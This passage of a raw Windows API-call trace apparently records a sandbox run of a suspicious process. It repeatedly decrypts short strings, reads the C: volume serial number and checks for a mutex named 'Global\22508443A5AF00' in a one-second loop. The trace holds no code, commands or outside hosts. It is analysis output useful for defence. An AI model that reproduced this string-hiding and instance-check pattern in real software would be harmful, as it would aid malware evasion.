Size=0x1e) returned 0xab71a8 [0058.719] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0058.719] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d87e0) returned 1 [0058.719] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0058.719] CryptDecrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0058.719] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0058.719] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0058.719] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.719] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0058.719] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0058.719] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.720] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0058.720] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0058.720] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d87e0) returned 1 [0058.720] CryptSetKeyParam (hKey=0x4d87e0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0058.720] CryptDecrypt (in: hKey=0x4d87e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0058.720] CryptDestroyKey (hKey=0x4d87e0) returned 1 [0058.720] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0058.720] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x184 [0058.720] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x0) returned 0x102 [0058.720] CloseHandle (hObject=0x184) returned 1 [0058.720] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0058.720] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0058.720] Sleep (dwMilliseconds=0x3e8) [0060.318] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0060.318] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d86a0) returned 1 [0060.319] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0060.319] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0060.319] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.319] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0060.319] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0060.319] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0060.319] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d86a0) returned 1 [0060.319] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0060.319] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0060.319] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0060.319] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0060.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0060.319] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.319] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0060.319] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0060.319] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d86a0) returned 1 [0060.319] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0060.319] CryptDecrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0060.319] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.319] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0060.319] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x180 [0060.320] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0060.320] CloseHandle (hObject=0x180) returned 1 [0060.320] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0060.320] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0060.320] Sleep (dwMilliseconds=0x3e8) [0061.582] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0061.582] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8820) returned 1 [0061.582] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0061.583] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0061.583] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.583] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0061.583] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0061.583] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0061.583] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8820) returned 1 [0061.583] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0061.583] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0061.583] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.583] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0061.583] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.583] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0061.583] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0061.583] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.583] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0061.583] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0061.583] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8820) returned 1 [0061.583] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0061.583] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0061.583] CryptDestroyKey (hKey=0x4d8820) returned 1 [0061.583] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0061.583] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1a4 [0061.583] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0061.583] CloseHandle (hObject=0x1a4) returned 1 [0061.583] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0061.584] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0061.584] Sleep (dwMilliseconds=0x3e8) [0062.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0062.993] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8920) returned 1 [0062.993] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0062.993] CryptDecrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0062.993] CryptDestroyKey (hKey=0x4d8920) returned 1 [0062.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0062.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0062.993] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0062.993] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8920) returned 1 [0062.993] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0062.993] CryptDecrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0062.993] CryptDestroyKey (hKey=0x4d8920) returned 1 [0062.993] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0062.993] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.993] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0062.993] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0062.993] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.993] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0062.994] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0062.994] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8920) returned 1 [0062.994] CryptSetKeyParam (hKey=0x4d8920, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0062.994] CryptDecrypt (in: hKey=0x4d8920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0062.994] CryptDestroyKey (hKey=0x4d8920) returned 1 [0062.994] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0062.994] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1ac [0062.994] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0062.994] CloseHandle (hObject=0x1ac) returned 1 [0062.994] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0062.994] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0062.994] Sleep (dwMilliseconds=0x3e8) [0064.140] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0064.140] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8860) returned 1 [0064.140] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0064.160] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0064.160] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.160] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0064.160] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0064.160] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0064.160] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8860) returned 1 [0064.160] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0064.160] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0064.161] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0064.161] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.161] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0064.161] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0064.161] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8860) returned 1 [0064.161] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0064.161] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0064.161] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.161] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0064.161] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1b0 [0064.161] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0064.161] CloseHandle (hObject=0x1b0) returned 1 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.161] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0064.161] Sleep (dwMilliseconds=0x3e8) [0064.237] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0064.237] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8860) returned 1 [0064.237] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0064.237] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0064.237] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.237] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0064.237] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0064.237] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0064.237] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8860) returned 1 [0064.238] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0064.238] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0064.238] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0064.238] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.238] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0064.238] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0064.238] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8860) returned 1 [0064.238] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0064.238] CryptDecrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0064.238] CryptDestroyKey (hKey=0x4d8860) returned 1 [0064.238] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0064.238] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1b0 [0064.238] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0064.238] CloseHandle (hObject=0x1b0) returned 1 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.238] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0064.239] Sleep (dwMilliseconds=0x3e8) [0064.477] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0064.477] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8820) returned 1 [0064.477] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0064.477] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f914 | out: pbData=0xab7158, pdwDataLen=0xa1f914) returned 1 [0064.477] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.478] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x1e) returned 0xab7180 [0064.478] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x1e) returned 0xab71a8 [0064.478] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x90) returned 0xabe148 [0064.478] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8d0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f938 | out: phKey=0xa1f938*=0x4d8820) returned 1 [0064.478] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f920, dwFlags=0x0) returned 1 [0064.478] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xabe148, pdwDataLen=0xa1f8ec | out: pbData=0xabe148, pdwDataLen=0xa1f8ec) returned 1 [0064.478] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.478] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xabe148 | out: hHeap=0xab0000) returned 1 [0064.478] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xab7180, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a8 | out: hHeap=0xab0000) returned 1 [0064.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.479] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xa1f9a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xa1f9a0*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7180 | out: hHeap=0xab0000) returned 1 [0064.479] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x40) returned 0xab7158 [0064.479] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f92c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f994 | out: phKey=0xa1f994*=0x4d8820) returned 1 [0064.480] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f97c, dwFlags=0x0) returned 1 [0064.480] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, pdwDataLen=0xa1f948 | out: pbData=0xab7158, pdwDataLen=0xa1f948) returned 1 [0064.480] CryptDestroyKey (hKey=0x4d8820) returned 1 [0064.480] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x8, Size=0x34) returned 0xab71a0 [0064.480] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF00") returned 0x1ac [0064.480] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0064.480] CloseHandle (hObject=0x1ac) returned 1 [0064.480] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab7158 | out: hHeap=0xab0000) returned 1 [0064.480] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0xab71a0 | out: hHeap=0xab0000) returned 1 [0064.481] Sleep (dwMilliseconds=0x3e8) [0064.721] RtlAllocateHeap (HeapHandle=0xab0000, Flags=0x0, Size=0x20) returned 0xab7158 [0064.721] CryptImportKey (in: hProv=0x4c5018, pbData=0xa1f8f8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xa1f960 | out: phKey=0xa1f960*=0x4d8820) returned 1 [0064.721] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0xa1f948, dwFlags=0x0) returned 1 [0064.721] CryptDecrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xab7158, 